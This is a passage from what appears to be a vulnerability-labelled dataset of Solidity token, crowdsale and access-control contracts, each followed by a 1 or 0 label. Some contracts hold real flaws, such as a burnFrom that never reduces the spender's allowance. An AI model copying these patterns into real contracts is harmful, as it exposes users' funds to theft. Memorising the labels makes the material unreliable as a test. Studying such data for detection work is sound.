_spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract BACToken is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'B0.1'; function BACToken ( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) { balances[msg.sender] = _initialAmount; totalSupply = _initialAmount; name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } event Burn(address indexed from, uint256 value); function burn(uint256 _value) returns (bool success) { if (balances[msg.sender] < _value) throw; balances[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) returns (bool success) { if (balances[_from] < _value) throw; if (_value > allowed[_from][msg.sender]) throw; balances[_from] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } }
1
pragma solidity 0.4.25; contract Ownable { address public owner; address public coinvest; mapping (address => bool) public admins; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; coinvest = msg.sender; admins[owner] = true; admins[coinvest] = true; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier coinvestOrOwner() { require(msg.sender == coinvest || msg.sender == owner); _; } modifier onlyAdmin() { require(admins[msg.sender]); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function transferCoinvest(address _newCoinvest) external onlyOwner { require(_newCoinvest != address(0)); coinvest = _newCoinvest; } function alterAdmin(address _user, bool _status) external onlyOwner { require(_user != address(0)); require(_user != coinvest); admins[_user] = _status; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract Bank is Ownable { address public investmentAddr; address public coinToken; address public cashToken; constructor(address _coinToken, address _cashToken) public { coinToken = _coinToken; cashToken = _cashToken; } function transfer(address _to, uint256 _value, bool _isCoin) external returns (bool success) { require(msg.sender == investmentAddr); ERC20Interface token; if (_isCoin) token = ERC20Interface(coinToken); else token = ERC20Interface(cashToken); require(token.transfer(_to, _value)); return true; } function changeInvestment(address _newInvestment) external onlyOwner { require(_newInvestment != address(0)); investmentAddr = _newInvestment; } function tokenEscape(address _tokenContract) external coinvestOrOwner { require(_tokenContract != coinToken && _tokenContract != cashToken); if (_tokenContract == address(0)) coinvest.transfer(address(this).balance); else { ERC20Interface lostToken = ERC20Interface(_tokenContract); uint256 stuckTokens = lostToken.balanceOf(address(this)); lostToken.transfer(coinvest, stuckTokens); } } }
1
pragma solidity ^0.4.20; contract AccessAdmin { bool public isPaused = false; address public addrAdmin; event AdminTransferred(address indexed preAdmin, address indexed newAdmin); function AccessAdmin() public { addrAdmin = msg.sender; } modifier onlyAdmin() { require(msg.sender == addrAdmin); _; } modifier whenNotPaused() { require(!isPaused); _; } modifier whenPaused { require(isPaused); _; } function setAdmin(address _newAdmin) external onlyAdmin { require(_newAdmin != address(0)); AdminTransferred(addrAdmin, _newAdmin); addrAdmin = _newAdmin; } function doPause() external onlyAdmin whenNotPaused { isPaused = true; } function doUnpause() external onlyAdmin whenPaused { isPaused = false; } } contract AccessService is AccessAdmin { address public addrService; address public addrFinance; modifier onlyService() { require(msg.sender == addrService); _; } modifier onlyFinance() { require(msg.sender == addrFinance); _; } function setService(address _newService) external { require(msg.sender == addrService || msg.sender == addrAdmin); require(_newService != address(0)); addrService = _newService; } function setFinance(address _newFinance) external { require(msg.sender == addrFinance || msg.sender == addrAdmin); require(_newFinance != address(0)); addrFinance = _newFinance; } function withdraw(address _target, uint256 _amount) external { require(msg.sender == addrFinance || msg.sender == addrAdmin); require(_amount > 0); address receiver = _target == address(0) ? addrFinance : _target; uint256 balance = this.balance; if (_amount < balance) { receiver.transfer(_amount); } else { receiver.transfer(this.balance); } } } interface IDataMining { function getRecommender(address _target) external view returns(address); function subFreeMineral(address _target) external returns(bool); } interface IDataEquip { function isEquiped(address _target, uint256 _tokenId) external view returns(bool); function isEquipedAny2(address _target, uint256 _tokenId1, uint256 _tokenId2) external view returns(bool); function isEquipedAny3(address _target, uint256 _tokenId1, uint256 _tokenId2, uint256 _tokenId3) external view returns(bool); } interface IDataAuction { function isOnSale(uint256 _tokenId) external view returns(bool); function isOnSaleAny2(uint256 _tokenId1, uint256 _tokenId2) external view returns(bool); function isOnSaleAny3(uint256 _tokenId1, uint256 _tokenId2, uint256 _tokenId3) external view returns(bool); } contract DataAuction is IDataAuction, AccessAdmin { IDataAuction public ethAuction; IDataAuction public platAuction; function DataAuction(address _ethAddr, address _platAddr) public { ethAuction = IDataAuction(_ethAddr); platAuction = IDataAuction(_platAddr); } function setEthAuction(address _ethAddr) external onlyAdmin { ethAuction = IDataAuction(_ethAddr); } function setPlatAuction(address _platAddr) external onlyAdmin { platAuction = IDataAuction(_platAddr); } function isOnSale(uint256 _tokenId) external view returns(bool) { if (address(ethAuction) != address(0) && ethAuction.isOnSale(_tokenId)) { return true; } if (address(platAuction) != address(0) && platAuction.isOnSale(_tokenId)) { return true; } } function isOnSaleAny2(uint256 _tokenId1, uint256 _tokenId2) external view returns(bool) { if (address(ethAuction) != address(0) && ethAuction.isOnSaleAny2(_tokenId1, _tokenId2)) { return true; } if (address(platAuction) != address(0) && platAuction.isOnSaleAny2(_tokenId1, _tokenId2)) { return true; } return false; } function isOnSaleAny3(uint256 _tokenId1, uint256 _tokenId2, uint256 _tokenId3) external view returns(bool) { if (address(ethAuction) != address(0) && ethAuction.isOnSaleAny3(_tokenId1, _tokenId2, _tokenId3)) { return true; } if (address(platAuction) != address(0) && platAuction.isOnSaleAny3(_tokenId1, _tokenId2, _tokenId3)) { return true; } return false; } }
1
pragma solidity ^0.5.0; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } library Math { function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; uint256 public maxMintQuantity; bool public isLimitMint = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract KLK20Token is MintableToken,BurnableToken { string public constant name = "KLICKZIE TOKEN"; string public constant symbol = "KLK20"; uint8 public constant decimals = 18; uint256 public initialSupply = 3000 * 1000000 * 10**18; address public masterWallet; constructor () public { owner = msg.sender; masterWallet = owner; balances[masterWallet] = initialSupply; } }
1
pragma solidity ^0.4.21; interface ERC20Token { function name() public constant returns (string); function symbol() public constant returns (string); function decimals() public constant returns (uint8); function totalSupply() public constant returns (uint256); function balanceOf(address owner) public constant returns (uint256); function transfer(address to, uint256 amount) public returns (bool); function transferFrom(address from, address to, uint256 amount) public returns (bool); function approve(address spender, uint256 amount) public returns (bool); function allowance(address owner, address spender) public constant returns (uint256); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract ERC820Registry { function getManager(address addr) public view returns(address); function setManager(address addr, address newManager) public; function getInterfaceImplementer(address addr, bytes32 iHash) public constant returns (address); function setInterfaceImplementer(address addr, bytes32 iHash, address implementer) public; } contract ERC820Implementer { ERC820Registry erc820Registry = ERC820Registry(0xbe78655dff872d22b95ae366fb3477d977328ade); function setInterfaceImplementation(string ifaceLabel, address impl) internal { bytes32 ifaceHash = keccak256(ifaceLabel); erc820Registry.setInterfaceImplementer(this, ifaceHash, impl); } function interfaceAddr(address addr, string ifaceLabel) internal constant returns(address) { bytes32 ifaceHash = keccak256(ifaceLabel); return erc820Registry.getInterfaceImplementer(addr, ifaceHash); } function delegateManagement(address newManager) internal { erc820Registry.setManager(this, newManager); } } interface ERC777Token { function name() public view returns (string); function symbol() public view returns (string); function totalSupply() public view returns (uint256); function balanceOf(address owner) public view returns (uint256); function granularity() public view returns (uint256); function defaultOperators() public view returns (address[]); function isOperatorFor(address operator, address tokenHolder) public view returns (bool); function authorizeOperator(address operator) public; function revokeOperator(address operator) public; function send(address to, uint256 amount, bytes holderData) public; function operatorSend(address from, address to, uint256 amount, bytes holderData, bytes operatorData) public; function burn(uint256 amount, bytes holderData) public; function operatorBurn(address from, uint256 amount, bytes holderData, bytes operatorData) public; event Sent( address indexed operator, address indexed from, address indexed to, uint256 amount, bytes holderData, bytes operatorData ); event Minted(address indexed operator, address indexed to, uint256 amount, bytes operatorData); event Burned(address indexed operator, address indexed from, uint256 amount, bytes holderData, bytes operatorData); event AuthorizedOperator(address indexed operator, address indexed tokenHolder); event RevokedOperator(address indexed operator, address indexed tokenHolder); } interface ERC777TokensRecipient { function tokensReceived( address operator, address from, address to, uint amount, bytes userData, bytes operatorData ) public; } interface ERC777TokensSender { function tokensToSend( address operator, address from, address to, uint amount, bytes userData, bytes operatorData ) public; } contract ERC777BaseToken is ERC777Token, ERC820Implementer { using SafeMath for uint256; string internal mName; string internal mSymbol; uint256 internal mGranularity; uint256 internal mTotalSupply; mapping(address => uint) internal mBalances; mapping(address => mapping(address => bool)) internal mAuthorized; address[] internal mDefaultOperators; mapping(address => bool) internal mIsDefaultOperator; mapping(address => mapping(address => bool)) internal mRevokedDefaultOperator; constructor(string _name, string _symbol, uint256 _granularity, address[] _defaultOperators) internal { mName = _name; mSymbol = _symbol; mTotalSupply = 0; require(_granularity >= 1); mGranularity = _granularity; mDefaultOperators = _defaultOperators; for (uint i = 0; i < mDefaultOperators.length; i++) { mIsDefaultOperator[mDefaultOperators[i]] = true; } setInterfaceImplementation("ERC777Token", this); } function name() public constant returns (string) { return mName; } function symbol() public constant returns (string) { return mSymbol; } function granularity() public constant returns (uint256) { return mGranularity; } function totalSupply() public constant returns (uint256) { return mTotalSupply; } function balanceOf(address _tokenHolder) public constant returns (uint256) { return mBalances[_tokenHolder]; } function defaultOperators() public view returns (address[]) { return mDefaultOperators; } function send(address _to, uint256 _amount, bytes _userData) public { doSend(msg.sender, msg.sender, _to, _amount, _userData, "", true); } function authorizeOperator(address _operator) public { require(_operator != msg.sender); if (mIsDefaultOperator[_operator]) { mRevokedDefaultOperator[_operator][msg.sender] = false; } else { mAuthorized[_operator][msg.sender] = true; } AuthorizedOperator(_operator, msg.sender); } function revokeOperator(address _operator) public { require(_operator != msg.sender); if (mIsDefaultOperator[_operator]) { mRevokedDefaultOperator[_operator][msg.sender] = true; } else { mAuthorized[_operator][msg.sender] = false; } RevokedOperator(_operator, msg.sender); } function isOperatorFor(address _operator, address _tokenHolder) public constant returns (bool) { return (_operator == _tokenHolder || mAuthorized[_operator][_tokenHolder] || (mIsDefaultOperator[_operator] && !mRevokedDefaultOperator[_operator][_tokenHolder])); } function operatorSend(address _from, address _to, uint256 _amount, bytes _userData, bytes _operatorData) public { require(isOperatorFor(msg.sender, _from)); doSend(msg.sender, _from, _to, _amount, _userData, _operatorData, true); } function burn(uint256 _amount, bytes _holderData) public { doBurn(msg.sender, msg.sender, _amount, _holderData, ""); } function operatorBurn(address _tokenHolder, uint256 _amount, bytes _holderData, bytes _operatorData) public { require(isOperatorFor(msg.sender, _tokenHolder)); doBurn(msg.sender, _tokenHolder, _amount, _holderData, _operatorData); } function requireMultiple(uint256 _amount) internal view { require(_amount.div(mGranularity).mul(mGranularity) == _amount); } function isRegularAddress(address _addr) internal constant returns(bool) { if (_addr == 0) { return false; } uint size; assembly { size := extcodesize(_addr) } return size == 0; } function doSend( address _operator, address _from, address _to, uint256 _amount, bytes _userData, bytes _operatorData, bool _preventLocking ) internal { requireMultiple(_amount); callSender(_operator, _from, _to, _amount, _userData, _operatorData); require(_to != address(0)); require(mBalances[_from] >= _amount); mBalances[_from] = mBalances[_from].sub(_amount); mBalances[_to] = mBalances[_to].add(_amount); callRecipient(_operator, _from, _to, _amount, _userData, _operatorData, _preventLocking); Sent(_operator, _from, _to, _amount, _userData, _operatorData); } function doBurn(address _operator, address _tokenHolder, uint256 _amount, bytes _holderData, bytes _operatorData) internal { requireMultiple(_amount); require(balanceOf(_tokenHolder) >= _amount); mBalances[_tokenHolder] = mBalances[_tokenHolder].sub(_amount); mTotalSupply = mTotalSupply.sub(_amount); callSender(_operator, _tokenHolder, 0x0, _amount, _holderData, _operatorData); Burned(_operator, _tokenHolder, _amount, _holderData, _operatorData); } function callRecipient( address _operator, address _from, address _to, uint256 _amount, bytes _userData, bytes _operatorData, bool _preventLocking ) internal { address recipientImplementation = interfaceAddr(_to, "ERC777TokensRecipient"); if (recipientImplementation != 0) { ERC777TokensRecipient(recipientImplementation).tokensReceived( _operator, _from, _to, _amount, _userData, _operatorData); } else if (_preventLocking) { require(isRegularAddress(_to)); } } function callSender( address _operator, address _from, address _to, uint256 _amount, bytes _userData, bytes _operatorData ) internal { address senderImplementation = interfaceAddr(_from, "ERC777TokensSender"); if (senderImplementation == 0) { return; } ERC777TokensSender(senderImplementation).tokensToSend(_operator, _from, _to, _amount, _userData, _operatorData); } } contract ERC777ERC20BaseToken is ERC20Token, ERC777BaseToken { bool internal mErc20compatible; mapping(address => mapping(address => bool)) internal mAuthorized; mapping(address => mapping(address => uint256)) internal mAllowed; constructor ( string _name, string _symbol, uint256 _granularity, address[] _defaultOperators ) internal ERC777BaseToken(_name, _symbol, _granularity, _defaultOperators) { mErc20compatible = true; setInterfaceImplementation("ERC20Token", this); } modifier erc20 () { require(mErc20compatible); _; } function decimals() public erc20 constant returns (uint8) { return uint8(18); } function transfer(address _to, uint256 _amount) public erc20 returns (bool success) { doSend(msg.sender, msg.sender, _to, _amount, "", "", false); return true; } function transferFrom(address _from, address _to, uint256 _amount) public erc20 returns (bool success) { require(_amount <= mAllowed[_from][msg.sender]); mAllowed[_from][msg.sender] = mAllowed[_from][msg.sender].sub(_amount); doSend(msg.sender, _from, _to, _amount, "", "", false); return true; } function approve(address _spender, uint256 _amount) public erc20 returns (bool success) { mAllowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) public erc20 constant returns (uint256 remaining) { return mAllowed[_owner][_spender]; } function doSend( address _operator, address _from, address _to, uint256 _amount, bytes _userData, bytes _operatorData, bool _preventLocking ) internal { super.doSend(_operator, _from, _to, _amount, _userData, _operatorData, _preventLocking); if (mErc20compatible) { Transfer(_from, _to, _amount); } } function doBurn(address _operator, address _tokenHolder, uint256 _amount, bytes _holderData, bytes _operatorData) internal { super.doBurn(_operator, _tokenHolder, _amount, _holderData, _operatorData); if (mErc20compatible) { Transfer(_tokenHolder, 0x0, _amount); } } } contract InstallB is ERC777ERC20BaseToken, Ownable { address private mBurnOperator; constructor ( string _name, string _symbol, uint256 _granularity, address[] _defaultOperators, address _burnOperator ) public ERC777ERC20BaseToken(_name, _symbol, _granularity, _defaultOperators) { mBurnOperator = _burnOperator; } function disableERC20() public onlyOwner { mErc20compatible = false; setInterfaceImplementation("ERC20Token", 0x0); } function enableERC20() public onlyOwner { mErc20compatible = true; setInterfaceImplementation("ERC20Token", this); } function mint(address _tokenHolder, uint256 _amount, bytes _operatorData) public onlyOwner { requireMultiple(_amount); mTotalSupply = mTotalSupply.add(_amount); mBalances[_tokenHolder] = mBalances[_tokenHolder].add(_amount); callRecipient(msg.sender, 0x0, _tokenHolder, _amount, "", _operatorData, true); Minted(msg.sender, _tokenHolder, _amount, _operatorData); if (mErc20compatible) { Transfer(0x0, _tokenHolder, _amount); } } function burn(uint256 _amount, bytes _holderData) public onlyOwner { super.burn(_amount, _holderData); } function operatorBurn(address _tokenHolder, uint256 _amount, bytes _holderData, bytes _operatorData) public { require(msg.sender == mBurnOperator); super.operatorBurn(_tokenHolder, _amount, _holderData, _operatorData); } }
0
pragma solidity ^0.4.19; pragma solidity ^0.4.19; pragma solidity ^0.4.19; pragma solidity ^0.4.19; contract Ownable { address public owner; function Ownable() internal { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } } contract Haltable is Ownable { bool public halted; event Halted(bool halted); modifier stopInEmergency { require(!halted); _; } modifier onlyInEmergency { require(halted); _; } function halt() external onlyOwner { halted = true; Halted(true); } function unhalt() external onlyOwner onlyInEmergency { halted = false; Halted(false); } } pragma solidity ^0.4.19; library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { uint c = a / b; return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint a, uint b) internal pure returns (uint) { return a >= b ? a : b; } function min256(uint a, uint b) internal pure returns (uint) { return a < b ? a : b; } } pragma solidity ^0.4.19; pragma solidity ^0.4.19; pragma solidity ^0.4.19; pragma solidity ^0.4.19; contract EIP20Token { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool success); function transferFrom(address from, address to, uint256 value) public returns (bool success); function approve(address spender, uint256 value) public returns (bool success); function allowance(address owner, address spender) public view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.4.19; contract Burnable { function burnTokens(address account, uint value) internal; event Burned(address account, uint value); } pragma solidity ^0.4.19; contract Mintable { function mintInternal(address receiver, uint amount) internal; event Minted(address receiver, uint amount); } contract StandardToken is EIP20Token, Burnable, Mintable { using SafeMath for uint; uint private total_supply; mapping(address => uint) private balances; mapping(address => mapping (address => uint)) private allowed; function totalSupply() public view returns (uint) { return total_supply; } function transfer(address to, uint value) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(value); balances[to] = balances[to].add(value); Transfer(msg.sender, to, value); return true; } function balanceOf(address account) public view returns (uint balance) { return balances[account]; } function transferFrom(address from, address to, uint value) public returns (bool success) { uint allowance = allowed[from][msg.sender]; balances[from] = balances[from].sub(value); balances[to] = balances[to].add(value); allowed[from][msg.sender] = allowance.sub(value); Transfer(from, to, value); return true; } function approve(address spender, uint value) public returns (bool success) { require (value == 0 || allowed[msg.sender][spender] == 0); allowed[msg.sender][spender] = value; Approval(msg.sender, spender, value); return true; } function allowance(address account, address spender) public view returns (uint remaining) { return allowed[account][spender]; } function addApproval(address spender, uint addedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][spender]; allowed[msg.sender][spender] = oldValue.add(addedValue); Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function subApproval(address spender, uint subtractedValue) public returns (bool success) { uint oldVal = allowed[msg.sender][spender]; if (subtractedValue > oldVal) { allowed[msg.sender][spender] = 0; } else { allowed[msg.sender][spender] = oldVal.sub(subtractedValue); } Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function burnTokens(address account, uint value) internal { balances[account] = balances[account].sub(value); total_supply = total_supply.sub(value); Transfer(account, 0, value); Burned(account, value); } function mintInternal(address receiver, uint amount) internal { total_supply = total_supply.add(amount); balances[receiver] = balances[receiver].add(amount); Minted(receiver, amount); Transfer(0, receiver, amount); } } contract ReleasableToken is StandardToken, Ownable { address public releaseAgent; bool public released = false; mapping (address => bool) public transferAgents; function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { releaseAgent = addr; } function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { transferAgents[addr] = state; } function releaseTokenTransfer() public onlyReleaseAgent { released = true; } modifier canTransfer(address sender) { require(released || transferAgents[sender]); _; } modifier inReleaseState(bool releaseState) { require(releaseState == released); _; } modifier onlyReleaseAgent() { require(msg.sender == releaseAgent); _; } function transfer(address to, uint value) public canTransfer(msg.sender) returns (bool success) { return super.transfer(to, value); } function transferFrom(address from, address to, uint value) public canTransfer(from) returns (bool success) { return super.transferFrom(from, to, value); } } pragma solidity ^0.4.19; pragma solidity ^0.4.19; contract UpgradeAgent { uint public originalSupply; function isUpgradeAgent() public pure returns (bool) { return true; } function upgradeFrom(address from, uint value) public; } contract UpgradeableToken is EIP20Token, Burnable { using SafeMath for uint; address public upgradeMaster; UpgradeAgent public upgradeAgent; uint public totalUpgraded = 0; enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} event Upgrade(address indexed from, address to, uint value); event UpgradeAgentSet(address agent); function UpgradeableToken(address master) internal { setUpgradeMaster(master); } function upgrade(uint value) public { UpgradeState state = getUpgradeState(); require(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading); require(value != 0); upgradeAgent.upgradeFrom(msg.sender, value); burnTokens(msg.sender, value); totalUpgraded = totalUpgraded.add(value); Upgrade(msg.sender, upgradeAgent, value); } function setUpgradeAgent(address agent) onlyMaster external { require(canUpgrade()); require(agent != 0x0); require(getUpgradeState() != UpgradeState.Upgrading); upgradeAgent = UpgradeAgent(agent); require(upgradeAgent.isUpgradeAgent()); require(upgradeAgent.originalSupply() == totalSupply()); UpgradeAgentSet(upgradeAgent); } function getUpgradeState() public view returns(UpgradeState) { if (!canUpgrade()) return UpgradeState.NotAllowed; else if (address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; else if (totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; else return UpgradeState.Upgrading; } function changeUpgradeMaster(address new_master) onlyMaster public { setUpgradeMaster(new_master); } function setUpgradeMaster(address new_master) private { require(new_master != 0x0); upgradeMaster = new_master; } function canUpgrade() public view returns(bool) { return true; } modifier onlyMaster() { require(msg.sender == upgradeMaster); _; } } pragma solidity ^0.4.19; contract LostAndFoundToken { function getLostAndFoundMaster() internal view returns (address); function enableLostAndFound(address agent, uint tokens, EIP20Token token_contract) public { require(msg.sender == getLostAndFoundMaster()); token_contract.approve(agent, tokens); } } pragma solidity ^0.4.19; contract MintableToken is Mintable, Ownable { using SafeMath for uint; bool public mintingFinished = false; mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state); function MintableToken(uint initialSupply, address multisig, bool mintable) internal { require(multisig != address(0)); require(mintable || initialSupply != 0); if (initialSupply > 0) mintInternal(multisig, initialSupply); mintingFinished = !mintable; } function mint(address receiver, uint amount) onlyMintAgent canMint public { mintInternal(receiver, amount); } function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } modifier onlyMintAgent() { require(mintAgents[msg.sender]); _; } modifier canMint() { require(!mintingFinished); _; } } contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken, LostAndFoundToken { string public name = "Cryptosolartech"; string public symbol = "CST"; uint8 public decimals; address public lost_and_found_master; function CrowdsaleToken(uint initial_supply, uint8 token_decimals, address team_multisig, address token_retriever) public UpgradeableToken(team_multisig) MintableToken(initial_supply, team_multisig, true) { require(token_retriever != address(0)); decimals = token_decimals; lost_and_found_master = token_retriever; } function releaseTokenTransfer() public onlyReleaseAgent { mintingFinished = true; super.releaseTokenTransfer(); } function canUpgrade() public view returns(bool) { return released && super.canUpgrade(); } function burn(uint value) public { burnTokens(msg.sender, value); } function getLostAndFoundMaster() internal view returns(address) { return lost_and_found_master; } } contract GenericCrowdsale is Haltable { using SafeMath for uint; CrowdsaleToken public token; address public multisigWallet; uint public startsAt; uint public endsAt; uint public tokensSold = 0; uint public weiRaised = 0; uint public investorCount = 0; bool public finalized = false; bool public requireCustomerId = false; bool public configured = false; bool public requiredSignedAddress = false; address public signerAddress; mapping (address => uint) public investedAmountOf; mapping (address => uint) public tokenAmountOf; mapping (address => bool) public earlyParticipantWhitelist; enum State{Unknown, PendingConfiguration, PreFunding, Funding, Success, Finalized} event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); event InvestmentPolicyChanged(bool requireCId, bool requireSignedAddress, address signer); event Whitelisted(address addr, bool status); event Finalized(); function configurationGenericCrowdsale(address team_multisig, uint start, uint end) internal inState(State.PendingConfiguration) { setMultisig(team_multisig); require(start != 0 && end != 0); require(now < start && start < end); startsAt = start; endsAt = end; configured = true; } function() payable public { buy(); } function investInternal(address receiver, uint128 customerId) stopInEmergency notFinished private { if (getState() == State.PreFunding) { require(earlyParticipantWhitelist[msg.sender]); } uint weiAmount; uint tokenAmount; (weiAmount, tokenAmount) = calculateTokenAmount(msg.value, receiver); assert(weiAmount <= msg.value); require(tokenAmount != 0); if (investedAmountOf[receiver] == 0) { investorCount++; } updateInvestorFunds(tokenAmount, weiAmount, receiver, customerId); multisigWallet.transfer(weiAmount); returnExcedent(msg.value.sub(weiAmount), 